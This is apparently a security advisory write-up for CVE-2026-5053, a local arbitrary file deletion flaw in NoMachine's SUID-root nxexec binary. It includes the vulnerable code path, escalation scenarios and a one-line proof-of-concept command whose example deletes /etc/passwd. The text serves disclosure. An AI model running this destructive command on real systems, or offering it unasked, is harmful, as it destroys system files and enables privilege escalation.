
Writeup and proof-of-concept for CVE-2026-5053, an arbitrary file deletion flaw in NoMachine's SUID-root nxexec binary that enables local privilege escalation.
CVE ID: CVE-2026-5053
ZDI Advisory: ZDI-26-247
CVSS Score: 7.1 (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)
Affected Products: NoMachine (Free) and NoMachine Workstation Pack (Tested on 9.2.18 Linux/Ubuntu)
Patched Version: 9.4.14 (Tracked as TR02X11710)
NoMachine installs a SUID-root binary (nxexec) that contains a logic flaw allowing arbitrary file deletion when invoked with specific command-line arguments. Because the binary does not properly validate user-supplied environment variables before using them in file operations, a local attacker can exploit this to remove any file on the system, regardless of ownership.
Note: This vulnerability is fully patched in NoMachine 9.4.14.
To trigger the arbitrary file deletion, an attacker simply needs to manipulate the NX_KRB5_TICKET_CACHE environment variable and execute the SUID binary.
Basic Syntax:
NX_KRB5_TICKET_CACHE=<target file> /usr/NX/bin/nxexec --user root --gssremove
Example (Deleting /etc/passwd):
NX_KRB5_TICKET_CACHE=/etc/passwd /usr/NX/bin/nxexec --user root --gssremove
The vulnerability stems from how the nxexec binary handles the Kerberos ticket cache path.
NX_KRB5_TICKET_CACHE is read directly by the application.NXGssapiRemoveTicket() reads the environment variable: env = getenv("NX_KRB5_TICKET_CACHE").DestroyKerberosCache().DestroyKerberosCacheMit().krb5_cc_resolve(env, …) followed by krb5_cc_destroy().krb5_cc_destroy() performs an unlink() operation on the resolved file, running in the context of the SUID-root binary.Vulnerable Code Path Snippet:
int NXGssapiRemoveTicket(char *specified_user){
...
env = getenv("NX_KRB5_TICKET_CACHE");
...
iVar1 = DestroyKerberosCache(specified_user,env);
-----
if (ret == 0) {
if (kerberos_implementation_type == 0) {
ret = DestroyKerberosCacheMit(specified_user, value_env_NX_KRB5_TICKET_CACHE);
return ret;
}
-----
iVar1 = (*krb5_cc_destroy)(krb5_context, local_a0); // unlinks the file
}
While an arbitrary file delete is natively a Denial of Service (DoS) vector (e.g., deleting critical system files to crash the host), it can easily be weaponized for Privilege Escalation (PrivEsc).
Escalation Scenarios:
/tmp or /var/tmp), an attacker can delete a file owned by root that the system expects to read/execute later, and recreate it with arbitrary malicious content.